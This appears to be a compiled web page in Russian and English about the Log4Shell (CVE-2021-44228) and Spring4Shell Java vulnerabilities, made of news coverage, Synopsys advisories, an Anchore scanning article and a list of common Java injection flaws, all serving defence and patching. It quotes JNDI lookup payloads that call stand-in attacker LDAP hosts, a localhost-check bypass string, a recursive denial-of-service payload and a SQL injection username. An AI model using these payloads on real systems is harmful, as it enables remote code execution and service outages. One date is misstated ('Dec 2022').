Ошибка нулевого дня java

Время на прочтение
1 мин

Количество просмотров 30K

Недавно обнаруженная уязвимость нулевого дня в широко используемой библиотеке логирования Java Apache Log4j легко эксплуатируется и позволяет злоумышленникам получить полный контроль над уязвимыми серверами.

Уязвимость, CVE-2021-44228, классифицируется как серьезная и позволяет выполнять удаленный код без аутентификации, поскольку пользователь, запускающий приложение, использует библиотеку логирования Java. Уязвимость была впервые обнаружена в Minecraft.

Затронуты все системы и службы, использующие библиотеку логирования Java, Apache Log4j между версиями 2.0 и 2.14.1, включая многие службы и приложения, написанные на Java. Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).

Выглядит это так:

  1. Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.

  2. JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host

  3. В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.

Временный фикс: JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true" или же обновить версии Log4j до log4j-2.15.0-rc1.

UPD:

Выявлен способ обхода защиты, добавленной выпуск log4j-2.15.0-rc1. Предложено новое обновление log4j-2.15.0-rc2 с более полной защитой от уязвимости. В коде выделяется изменение, связанное с отсутствием аварийного завершения в случае использования некорректно оформленного JNDI URL.

A flaw in Log4j, a Java library for logging error messages in applications, is the most high-profile security vulnerability on the internet right now and comes with a severity score of 10 out of 10. 

The library is developed by the open-source Apache Software Foundation and is a key Java-logging framework. Since last week’s alert by CERT New Zealand that CVE-2021-44228, a remote code execution flaw in Log4j, was already being exploited in the wild, warnings have been issued by several national cybersecurity agencies, including the Cybersecurity and Infrastructure Security Agency (CISA) and the UK’s National Cyber Security Centre (NCSC). Internet infrastructure provider Cloudflare said Log4j exploits started on December 1.  

What devices and applications are at risk? 

Basically any device that’s exposed to the internet is at risk if it’s running Apache Log4J, versions 2.0 to 2.14.1. NCSC notes that Log4j version 2 (Log4j2), the affected version, is included in Apache Struts2, Solr, Druid, Flink, and Swift frameworks.  

Mirai, a botnet that targets all manner of internet-connected (IoT) devices, has adopted an exploit for the flaw. Cisco and VMware have released patches for their affected products respectively. 


Log4j flaw coverage – what you need to know now

  • Log4j flaw: Attackers are making thousands of attempts to exploit this severe vulnerability
  • Security warning: New zero-day in the Log4j Java library is already being exploited
  • Log4j RCE activity began on December 1 as botnets start using vulnerability

AWS has detailed how the flaw impacts its services and said it is working on patching its services that use Log4j and has released mitigations for services like CloudFront.     

Likewise, IBM said it is «actively responding» to the Log4j vulnerability across IBM’s own infrastructure and its products. IBM has confirmed Websphere 8.5 and 9.0 are vulnerable. 

Oracle has issued a patch for the flaw, too. 

«Due to the severity of this vulnerability and the publication of exploit code on various sites, Oracle strongly recommends that customers apply the updates provided by this Security Alert as soon as possible,» it said. 

Necessary actions: Device discovery and patching

CISA’s main advice is to identify internet-facing devices running Log4j and upgrade them to version 2.15.0, or to apply the mitigations provided by vendors «immediately». But it also recommends setting up alerts for probes or attacks on devices running Log4j.  

«To be clear, this vulnerability poses a severe risk,» CISA director Jen Easterly said Sunday. «We will only minimize potential impacts through collaborative efforts between government and the private sector. We urge all organizations to join us in this essential effort and take action.»  

Additional steps recommended by CISA include: enumerating any external facing devices with Log4j installed; ensuring the security operations center actions every alert with Log4j installed; and installing a web application firewall (WAF) with rules to focus on Log4j. 

Cloud

AWS has updated its WAF rule set – AWSManagedRulesKnownBadInputsRuleSet AMR – to detect and mitigate Log4j attack attempts and scanning. It also has mitigation options that can be enabled for CloudFront, Application Load Balancer (ALB), API Gateway, and AppSync. It’s also currently updating all Amazon OpenSearch Service to the patched version of Log4j. 

SEE: A winning strategy for cybersecurity (ZDNet special report)

NCSC recommends updating to version 2.15.0 or later, and – where not possible – mitigating the flaw in Log4j 2.10 and later by setting system property «log4j2.formatMsgNoLookups» to «true» or removing the JndiLookup class from the classpath. 

Part of the challenge will be identifying software harboring the Log4j vulnerability. The Netherland’s Nationaal Cyber Security Centrum (NCSC) has posted a comprehensive and sourced A-Z list on GitHub of all affected products it is aware are either vulnerable, not vulnerable, are under investigation, or where a fix is available. The list of products illustrates how widespread the vulnerability is, spanning cloud services, developer services, security devices, mapping services, and more.    

Vendors with popular products known to be still vulnerable include Atlassian, Amazon, Microsoft Azure, Cisco, Commvault, ESRI, Exact, Fortinet, JetBrains, Nelson, Nutanix, OpenMRS, Oracle, Red Hat, Splunk, Soft, and VMware. The list is even longer when adding products where a patch has been released.    

NCCGroup has posted several network-detection rules to detect exploitation attempts and indicators of successful exploitation.

Finally, Microsoft has released its set of indicators of compromise and guidance for preventing attacks on Log4j vulnerability. Examples of the post-exploitation of the flaw that Microsoft has seen include installing coin miners, Cobalt Strike to enable credential theft and lateral movement, and exfiltrating data from compromised systems.  

Log4J is a widely used Java library for logging error messages in applications. It is used in enterprise software applications, including those custom applications developed in-house by businesses, and forms part of many cloud computing services.

The Log4j 2 library is used in enterprise Java software and according to the UK’s NCSC is included in Apache frameworks such as Apache Struts2, Apache Solr, Apache Druid, Apache Flink, and Apache Swift.

Because Log4j is so widely used, the vulnerability may impact a very wide range of software and services from many major vendors. According to NCSC an application is vulnerable «if it consumes untrusted user input and passes this to a vulnerable version of the Log4j logging library.»

Security experts have warned that there are hundreds of thousands of attempts by hackers to find vulnerable devices; over 40 percent of corporate networks have been targeted according to one security company.

Security

The Synopsys Cybersecurity Research Center (CyRC) has issued a corresponding Black Duck® Security Advisory (BDSA), and assigned a CVSS score of 9.4, with links to proof-of-concept exploits.


Click the video above for an analysis of the Log4j vulnerability.

Log4j summary

A dangerous, zero day exploit has been identified in Log4j, a popular Java logging library.

Apache Log4j/Log4j2 is broadly used within the Java community to implement application logging. As Log4j is a de facto standard within the Java community, it’s likely that most Java applications use it as their log interface.

The Synopsys Cybersecurity Research Center (CyRC) has issued a corresponding set of Black Duck® Security Advisory (BDSA) records, and assigned a CVSS score with links to proof-of-concept exploits. This information enables users to quickly identify where they have exposure to this vulnerability without requiring any rescanning of their applications. This will simplify the triage, validation, and remediation efforts.

Summary of the recent Log4j vulnerabilities

CVE ID BDSA Description Versions impacted Upgrade Guidance
CVE-2021-44832 BDSA-2021-3887 Log4j vulnerable to Remote Code Execution (RCE) via Malicious JDBC Appender Configuration 2.0-beta7 to 2.17.0

(excluding 2.3.2, 2.12.4)

2.17.1 – For Java 8 or later

2.12.4 – For Java 7

2.3.2 – For Java 6

CVE-2021-45105 BDSA-2021-3817 Apache Log4j vulnerable to denial-of-service (DoS) via infinite loop 2.0-beta9 to 2.16.0

(excluding 2.12.3)

2.17.0 – For Java 8 or later

2.12.3 – For Java 7

2.3.1- For Java 6

CVE-2021-45046 BDSA-2021-3779 Apache Log4j vulnerable to Remote Code Execution (RCE) via non-default pattern layout 2.0-beta9 to 2.15.0

(excluding 2.12.2)

2.16– For Java 8 or later

2.12.2 – For Java 7

2.3.1- For Java 6

CVE-2021-44228 BDSA-2021-3731 Apache Log4j vulnerable to Remote Code Execution (RCE) through LDAP access via JNDI and specially crafted log messages 2.0-beta9 to 2.14.1 2.16.0 – For Java 8 or later

2.12.2 – For Java 7

2.3.1 – For Java 6

BDSA-2021-3887:

Apache Log4j contains a remote code execution (RCE) vulnerability. This allows an attacker that has permissions to modify the logging configuration files to input a malicious JDBC Appender with a data source referencing a JDNI URI. This can then lead to RCE.

Note: This vulnerability impacts log4j-core.

Technical Description

The RCE vulnerability is due to the JDBC Appender not using the JndiManager when accessing JNDI resources.

The createConnectionSource method in log4j-core/src/main/java/org/apache/logging/log4j/core/appender/db/jdbc/DataSourceConnectionSource.java performs a lookup with the given jndiName. An attacker that is able to modify the configuration files to contain a jdbcAppender that has a JDNI URI in the data source can use this to achieve RCE.

This has been fixed by using the JndiManager in the createConnectionSource method in DataSourceConnectionSource.java when performing lookups using a JDNI data source.

BDSA-2021-3817:

Apache log4j is vulnerable to a denial-of-service (DoS) when uncontrolled recursion occurs through a self-referencing lookup. An attacker can trigger a DoS with malicious input data that generates a recursive lookup and consequent application crash.

Successful attacks require the attacker to have access to Thread Context Map (MDC) input, and for log4j configured with non-default pattern layout with a Context Lookup.

Only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted.

Apache Log4j is the only Logging Services subproject affected by this vulnerability. Other projects like Log4net are not impacted.

Technical Description

If log4j is configured with non-default Pattern Layout with a Context Lookup such as ${dollar}${dollar}{ctx:loginId}, an attacker with control over Thread Context Map (MDC) can trigger an DoS. An example of a malicious payload is ${${::-${::-$${::-j}}}}. When such a payload is sent to Log4j the variables are recursively expanded. Missing checks in log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/StrSubstitutor.java result in an infinite loop and eventually a StackOverflowError.

This occurs due to a failed replacement, or expansion of a variable causing the substitute method in log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/StrSubstitutor.java to incorrectly call replace with the same variable. This is an infinite loop event.

BDSA-2021-3779:

Log4j is vulnerable to RCE. This vulnerability was discovered due to an incomplete fix for CVE-2021-44228. Under certain non-default log4j configurations, it is possible for an attacker to input malicious JNDI lookup patterns that will potentially result in the execution of code.

Successful attacks require the attacker to have access to Thread Context Map (MDC) input and log4j to use a non-default pattern layout with message lookups enabled.

Only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.

Note: Previous mitigations involving configuration such as setting the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability. This can lead to a bypass for the mitigation for CVE-2021-44228.

Technical Description

Remote code execution (RCE) is possible in cases where a layout pattern is configured to use ${ctx:foo} lookups and an attacker can supply the ThreadContext (Thread Context Map (MDC)) values. A payload such as ${jndi:ldap://127.0.0.1#bar.com:1234/a} will be expanded recursively, resulting in attacker-controlled JNDI lookups.

Any previous mitigation or restriction of Log4j JNDI LDAP lookups to localhost can be bypassed using the mentioned payload. This is possible due to the check performed using the getHost method here will return the part before the # (127.0.0.1) which is allowed. But the JNDI resolver will resolve the full hostname and attempt to connect to the LDAP server.

This commit is the previous mitigation introduced in version 2.15.0-rc1 and is no longer deemed adequate protection against RCE.

This commit introduced in 2.15.0-rc1 disables message lookups by default, for an application to become vulnerable to RCE message lookups must be enabled. However, part of this commit uses a try/catch statement in the lookup method in log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java. This is intended to catch URISyntaxException exceptions. If an exception is thrown, the method will not return null and will instead perform a recursive call to lookup. This was disclosed as a denial-of-service (DoS) vulnerability. This commit in version 2.15.0-rc2 amended this issue.

Version 2.15.1-rc1 does disable JNDI lookups by default in this commit. However, message lookups have not been removed in this version.

This vulnerability has been fully mitigated by removing support for message lookup patterns and disabling JNDI functionality by default.

BDSA-2021-3731: 

Apache Log4j, as used in many popular services, is vulnerable to improperly allowing lightweight directory access protocol (LDAP) access via Java naming and directory interface (JNDI). A remote attacker able to supply the end application with specially crafted input that is then processed by the Log4j subcomponent could cause the execution of arbitrary Java code.

Note: 

  • log4j-api packages by themselves do not contain the vulnerable functionality and are therefore unaffected. log4j-core packages and the upstream overarching source repository are affected. 
  • A previously suggested mitigation of setting environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true is not recommended. This mitigation has been proven inadequate against this vulnerability. See BDSA-2021-3779 (CVE-2021-45046) for more details. 
Technical Description 

The issue arises because Log4j versions 2 and above will process specially crafted input of the form ${jndi:ldap://malicious.server/a} and lookup and return Java code from a remote attacker controlled server. Several exploit techniques exist that leverage specific Java code paths/classes to achieve remote code execution (RCE). 

The issue was partially fixed in version 2.15.0-rc1 by this commit and this commit. This patch and release were deemed inadequate and a further release 2.15.0-rc2 with this commit was made to correct the issue. 

A further vulnerability has been found (BDSA-2021-3779, CVE-2021-45046) that results in a bypass of these fixes when Log4j uses non-default pattern layouts. An attacker can still achieve RCE even with these patches and noted workarounds in place. The issue was corrected in version 2.16.0-rc1. 

How Synopsys helps

With Black Duck software composition analysis (SCA), all the open source used in your applications is identified, cataloged, and continuously monitored for newly disclosed vulnerabilities. Should a vulnerability be discovered, our team of security researchers works to compile, confirm, and augment any related information before issuing a security advisory to all affected customers. These advisories contain the details necessary to understand, prioritize, and remediate vulnerabilities within the context of your applications, and they’re issued within hours of a vulnerability being disclosed.

Six actions to take now and how Synopsys can help

Detecting Log4j (Log4Shell): Mitigating the impact on your organization

Originally posted on December 10, 2021, updated on January, 5, 2022.

Ошибка в вездесущей библиотеке Log4j может позволить злоумышленнику выполнить произвольный код на любой системе, которая использует Log4j для записи логов.

Apache Foundation выпустила экстренное обновление для устранения критической уязвимости нулевого дня в Log4j, вездесущем инструменте протоколирования, включенном почти в каждое Java-приложение. Проблема была названа Log4Shell и получила идентификатор CVE-2021-44228.

Проблема связана с ошибкой в библиотеке Log4j, которая может позволить злоумышленнику выполнить произвольный код на системе, использующей Log4j для записи сообщений журнала. Эта уязвимость безопасности имеет широкое влияние и является тем, на что следует немедленно обратить внимание всем, чьи приложения содержат Log4j.

Почему решение проблемы Log4Shell является важной задачей?

Log4j — это библиотека, которая используется во многих Java-приложениях. Это одна из самых распространенных библиотек Java на сегодняшний день. Большинство Java-приложений записывают логи в журнал, и нет ничего, что делает это проще, чем Log4j.

Проблема заключается в том, чтобы найти Log4j из-за особенностей упаковки Java. Вполне возможно, что Log4j прячется где-то в вашем приложении и вы даже не подозреваете об этом.

В экосистеме Java зависимости распространяются в виде архивных файлов Java (JAR), которые представляют собой пакеты, которые можно использовать в качестве библиотеки Java. Широко используемые инструменты, такие как Maven и Gradle, могут автоматически добавлять JAR-файлы по мере сборки Java-приложения. Кроме того, JAR может содержать другой JAR для удовлетворения зависимости, что означает, что уязвимость может быть скрыта на несколько уровней ниже в вашем приложении. В некоторых ситуациях одна зависимость влечет за собой сотни других зависимостей, что еще больше затрудняет поиск.

По сути, в мире Java вы можете иметь JAR, вложенный в JAR, вложенный в JAR. Это создает множество слоев, которые необходимо исследовать. Простого просмотра JAR-файлов, которые ваш проект получает напрямую, может быть недостаточно, поскольку Log4j может скрываться в другом JAR-файле!

Существует два инструмента с открытым исходным кодом под руководством Anchore, которые способны сканировать большое количество упакованных форматов зависимостей, определять их существование и сообщать, содержат ли они уязвимости. В данном случае возможность сканирования JAR-файлов, особенно вложенных слоев JAR-файлов, — это то, что нам нужно. Syft генерирует спецификацию материалов программного обеспечения (SBOM), а Grype является сканером уязвимостей. Оба этих инструмента способны проверять несколько вложенных слоев JAR-архивов, чтобы обнаружить и идентифицировать версии Log4j.

Syft также способен определить, какую версию Log4j содержит Java-приложение. Log4j JAR может быть непосредственно включен в наш проект, или он может быть скрыт в одной из зависимостей, которые мы включаем. Например, использование Syft для сканирования этого примера Java-проекта показывает, что он включает Log4j версии 2.14.1, которая уязвима для Log4Shell.

Как обнаружить уязвимость Log4j в ваших приложениях на Java

Независимо от того, какая версия Log4j используется, есть смысл в создании и хранении SBOM, чтобы вести учет всего, что включено в любой программный компонент или приложение, которое вы поставляете. Когда обнаруживается новая уязвимость, например, Log4Shell, гораздо быстрее провести поиск в хранилище SBOM, чем искать и сканировать все Java-приложения.

Grype — это сканер, который способен сообщить нам, какие конкретные уязвимости содержит наше программное обеспечение. Когда вы включаете зависимость в свое приложение, вы также можете определить уязвимости, которые содержит зависимость, и так далее через несколько уровней вложенности. Grype может сканировать программное обеспечение напрямую или сканировать SBOM, созданный Syft. Это позволяет вам повторно сканировать SBOM на наличие новых уязвимостей даже после того, как программное обеспечение было развернуто или поставлено клиентам.

Сканирование того же образца Java-проекта с помощью Grype обнаруживает уязвимость Log4j и идентифицирует ее как критическую.

Grype сканер

Syft и Grype имеют возможность сканировать ваши приложения независимо от того, где они находятся. Вы можете сканировать каталог на диске, сканировать образ контейнера локально или даже сканировать контейнер в удаленном реестре. Вы можете сканировать исходный код до сборки или конечное приложение после сборки. Важно сканировать приложения на всех этапах разработки, ведь если исходный код чист, это еще не значит, что чиста будет и конечная сборка. Даже сканирование после развертывания — хорошая идея. Возможно, на прошлой неделе вы не обнаружили критическую уязвимость Log4j, но на этой неделе вы можете это сделать!

Держите Syft и Grype вчегда под рукой

Каждый раз, когда обнаруживается новая уязвимость нулевого дня, пострадавшим организациям бывает трудно и проблематично быстро устранить проблему. Первый и самый важный шаг — понять, затрагивает ли конкретная уязвимость вообще вас, а в случае с JAR-файлами понять это без инструментария может быть непросто. Инструменты Grype и Syft от Anchore с открытым исходным кодом докапываются до самого низа дерева зависимостей, чтобы определить, не прячется ли где-нибудь копия Log4j.

Как отрасль, то, как мы реагируем и поддерживаем друг друга во время появления уязвимостей нулевого дня, имеет решающее значение. Сейчас самое время поделиться решениями и информацией, чтобы помочь предотвратить подобные нарушения в ближайшие годы.

Джош Брессерсвице-президент по безопасности в компании Anchore.

Spring4Shell, Log4j and a few good tips for staying secure

By Idan Sofer May 5th, 2022

Well it is now safe to say that the season of Java vulnerability exploits is upon us. In the wake of massive zero day attack vectors such as Log4Shell (discovered Dec 2022) and his younger sibling Spring4Shell (discovered Mar 2022), it is becoming clear that Java based Zero Day attacks are here to stay. Java vulnerabilities usually exploit loop holes in widely used Java libraries, to expose an application to remote code execution (RCE). From here the back door is open to various threats that can potentially bring down an entire organization.

So here are a few top line facts about the log4j and Spring4Shell, you may find interesting:

Log4Shell/log4j/log4j 2

Log4Shell is a critical vulnerability (CVE-2021-44228, CVSSv3 10.0) which affects several versions of Apache Log4j 2. It was introduced publicly by the project’s GitHub on December 9, 2021.

The vulnerability allows for unauthenticated remote code execution. Log4j 2 is an open source Java library developed by the Apache Foundation and is widely used in enterprise applications and cloud services.

The vulnerability, designated as CVE-2021-44228 is commonly referred to as “Log4j”, it allows attackers to take over vulnerable and sensitive resources spanning across and entire ecosystem. To perform remote code execution, an attacker simply sends a malicious request that contains a formatted string that is then picked up by the log4j library.

According to CVE log4shell exposed various vulnerabilities that could deeply impact a business or organization:

  1. CVE-2021-45046 log4shell made it possible for attackers to craft malicious input data that could cause an information leak or remote code execution.
  2. CVE-2021-44228 log4shell allowed attackers to execute random code using the message lookup functionality.
  3. CVE-2021-45105 log4shell left the door open for an attacker to initiate a denial-of-service attack by causing an infinite recursion loop on self-referential lookups.
  4. CVE-2021-44832 log4shell gave attackers control of the target LDAP server could launch a remote code execution (RCE) attack when a configuration uses a JDBC Appender with a JNDI LDAP data source URI.

Spring4Shell/SpringShell

Spring4Shell is a newly discovered critical vulnerability in the Java Spring Framework. Because of Spring’s wide adoption, many organizations and businesses might potentially be heavily impacted.

Spring is an open source framework; 60% of developers use Spring for their Java applications.

Spring4Shell exploits remote code execution (RCE) to execute code and/or extract data. Remote code execution allows an attacker to access application data, and penetrate infrastructure and cloud assets. It may also allow an attacker to access management resources to circumvent permissions and security rules.

Unfortunately Spring4Shell is no longer theoretical:

  • In the first weekend since the vulnerability was found Check Point Research spotted ~37K attempts to allocate the Spring4Shell vulnerability
  • During the first 4 days 16% of the organizations worldwide were impacted by exploitation attempts
  • Software vendors are the most impacted industry where 28% of the organization were impacted
  • The most impacted region seen is Europe, with an impact of 20%

(Source: Check Point Research)

Spring Framework has released a new version to fix this vulnerability. Affected users can download it from the following link:

https://github.com/spring-projects/spring-framework/tags 

Spring4Shell is one of three vulnerabilities published on March 30:

  1. Spring Core RCE (critical): CVE-2022-22965 a.k.a. Spring4Shell or SpringShell
    Affected library: org.springframework:spring-bean
  2. Information exposure in Spring Cloud Function: CVE-2022-22963
    Affected library: org.springframework.cloud:spring-cloud-function-context
  3. Denial of service in Spring Expressions: CVE-2022-22950
    Affected library: org.springframework:spring-expression

One more thing that should be mentioned in this context, is that unfortunately, in these cases, by the time you fix them, you’re already too late:

According to IBM’s 2021 Cost of Data Breach Report, the average total cost of a data breach sits at 4.24 million dollars.

The worst part of this is that it takes an average of 287 days to identify and contain a breach.

The good news? There are ways to prevent them and in some cases even detect them before they are able to cause any serious damage… So to put your mind at ease – we’ve compiled a quick list of the (wait for it…)

10 most common Java vulnerabilities your team should be looking out for:

  1. Code Injections

Every application susceptive to input is potentially vulnerable to code injections. This occurs when an attacker identifies a vulnerability which allows him to insert malicious code through the input and trigger various actions and/or return data.

Code injections are very common, and are actually pretty easy to execute. In 2010, a Japanese developer noticed that you could send HTML as tweets. Exploiting a vulnerability to inject JavaScript inside the HTML, he triggered a Twitter worm.

What did this little piece of code do?

Every time a user would hover over a specific pixel planted with the HTML, they would instantly retweet the worm. So when one of their followers was scrolling through, they might just retweet that little worm. This led to over 3000 retweets within a mere few minutes.

Though Twitter doesn’t exclusively use Java in its stack, a cautionary event can be applied to protect your inputs. The most common method is to apply input validation including output sanitizing and escaping. This means that attempts at sending HTML code will be parsed or rejected, depending on your application design.

  1. Command Injections

An OS command injection better known as a Shell injection, allows attackers to execute shell commands on an application server.

PHP is relatively an easy target for command injections because it calls a sh/bash/cmd by default.

Java, contains limited protocols using a fork() of the given command to create child processes and pass given arguments. However, this is not full proof measures to prevent an injection.

Legacy products can also act as an ideal entry ways for shell command injections, since the code is usually less visible and may contain patches and outdated practices.

As a prevention measure, you might need to issue a command line to your server – like sending a confirmation email. Rather than using Runtime.exec() to tap into a server, it’s better to use the available Java API located at javax.mail.*

  1. Connection String Injection

Connection strings are a set of definitions used to connect an application to a data source. Including, among others: relational databases, LDAP directories or individual files. Connection string attacks happen when a bad actor gains access by injecting parameters into the connect strings using semicolons as separators.

There are four parameters that an attacker would need to complete this type of penetration:

  1. The data source
  2. The initial catalog
  3. The user id
  4. The password

From here on the attacker is free to create his own brand of havoc…

Since some database providers have no limit cap and run on a ‘last one wins’ algorithm, an attacker can run multiple connection injection strings, with duplicate parameters effectively “tricking” the database to accept the combinations as valid.

As a result, the attacker ends up bypassing the standard authentication process without getting locked out. Once in, the malicious user can modify credentials manipulate or return data and execute malicious code.

  1. LDAP Injection

An LDAP injection uses input validations to inject executable queries. LDAP ( Lightweight Directory Access Protocol) is an open, cross platform protocol, used for directory service authentication.

LDAP is a communication language which applications use to access directory servers which usually store PII and other sensitive information.

LDAP injections occur when unsanitary inputs are pushed from the application directly into an LDAP statement. The attacker can then use the LDAP filter syntax causing the server to execute malicious queries and LDAP statements.

The best practice in this case is to ensure that LDAP special characters – ( ) ! | & * are escaped or rejected upon validation.

  1. Reflected XSS

A reflected XSS A.K.A reflected cross site scripting, is a penetration method by which an attacker adds malicious scripts which are activated through a web link that redirects the user to a different location. For instance, a reflected XSS can be seamlessly embedded into a web page as an input, link or button. The user may click on it and end up going to a 3rd party site and then redirected back to the original site. Whilst at the 3rd party, malicious activities such as cookie or session stealing may occur.

Although it’s hard to monitor reflected XSS, spam filters on links submitted can help reduce these threats.

  1. Resource Injection

Resource injections occur when the resource identifiers used by an application are altered to perform malicious tasks. This might span from changing a port number or modifying a file name, all the way to gaining the ability to access additional sensitive resources.

For example, an attacker could gain access to a e-commerce site via connection string injection, or successfully steal users’ details via XSS. He can now modify or query details using resource injection. Your attacker is now able to cause real damage by completing transactions, modifying or stealing PII and collect additional information about your customer without their knowledge.

  1. SQL Injection

SQL injection is the process of injecting SQL within data requests resulting in the backend application giving back confidential data or executing malicious scripting within the database.

This can result in a complete compromise on the host, access to data and breaches of privacy. Furthermore, SQL injection can lead to data loss or corruption, and might lock one out of his own database. When this happens, the injection has completed its take over

The easiest precaution is making sure that you validate on the server-side. Frontend inputs can be bypassed and the backend serves as a backstop to block unwanted characters, such as spaces and ‘ ‘ quote marks, to trickle through.

  1. Second Order SQL Injection

Second order SQL injection is a twostep process. First, the attacker adds something to your application but doesn’t immediately execute it. They might be waiting for more data or waiting for a trigger activity.

This is where second order SQL injection differs from normal SQL injections.

The attacker injects code into the table row, which is deemed as a trusted source. That table row is then called, causing the attack to move from its dormant state to active execution.

Testing for second order SQL is harder because of its often covert nature.

For example, the malicious user signs up with the username ‘ or ‘hacker’=’hacker

This means that ‘ or ‘hacker’=’hacker gets stored in the database.

Then when you go to login, the user name completes the validation query, giving access to other users and their account details.

  1. Stored XSS

Stored XSS, A.K.A persistent XSS attacks take place when script is injected into the content of a website or app. Unlike reflected XSS in which third party links are embedded, store XSS is far more dangerous in that it doesn’t require the user to interact with it.

Social media sites are particularly vulnerable to stored XSS attacks because of the platform’s nature. Users are encouraged to post and interact.

XSS is also commonly known as web worms, where the user ends up with the offending element and it executes on the browser. This attack can lead to stolen cookies, account information or some additional function through account impersonation.

XSS can be triggered in four places and is often done through JavaScript – @post.title, post.url, @post.id and @post.footer_attr

To prevent this, rejecting or escaping special characters likes < > and @ before parsing it can be useful.

  1. XPath Injection

While JSON is the rising star for data structuring, XML documents are still popular and widely used. XPath is the syntax used for defining parts of an XML document. The idea behind XPath injections is similar to SQL injections.

The only difference between SQL injection and XPath is that XPath is in an XML format.

This permits the attacker to browse XML documents, gaining access to sensitive data such as username and password on other PII details.

In most cases, an XPath injection happens when a query is built on invalidated inputs. To prevent XPath injections it is recommended to use precompiled XPaths. Refrain from permitting full expressions from an unsecured source. If you must parametrize your XPath, use string only parameters to prevent your query from getting hijacked.

Usually, validating user inputs prior to consuming them is the simplest way to prevent potential threats. It’s easy to offload the task over to the frontend, but they are only the first line of defense that’s not always guaranteed to hold.

While Java can be frontend and backend simultaneously, it’s still good practice to check that whatever your user gives you is what you expect it to be. Setting up your validation parameters may be a matter of identifying and specifying what’s allowed, rather than trying to figure it out and eliminate everything else.

While Java is considered relatively safe, mainly because it’s a server side language, there are still multiple ways to attack and access it, so make sure to adhere to best practices and stay up to date and take a look at these 3 tips to get you started:

  1. Major security vendors are already offering AI based early detection and remediation, this means you detect early signs of anomalous behavior and block it immediately before wide spread damage or leaks can be caused.
  2. Your security people should always keep up to date with the latest threats and research
  3. Adopting emerging practices such as secops, devsecops etc. and gaining full visibility, automation, prevention, detection and remediation (all in the price of one) throughout your organization and applications – making security an integral part of your development and services (without slowing you down).

Понравилась статья? Поделить с друзьями:
  • Ошибка недостаточно товара на складе
  • Ошибка нужно перезагрузить пк
  • Ошибка невозможно установить league of legends
  • Ошибка неверный домен ключа капча
  • Ошибка неверный домен ключа ucoz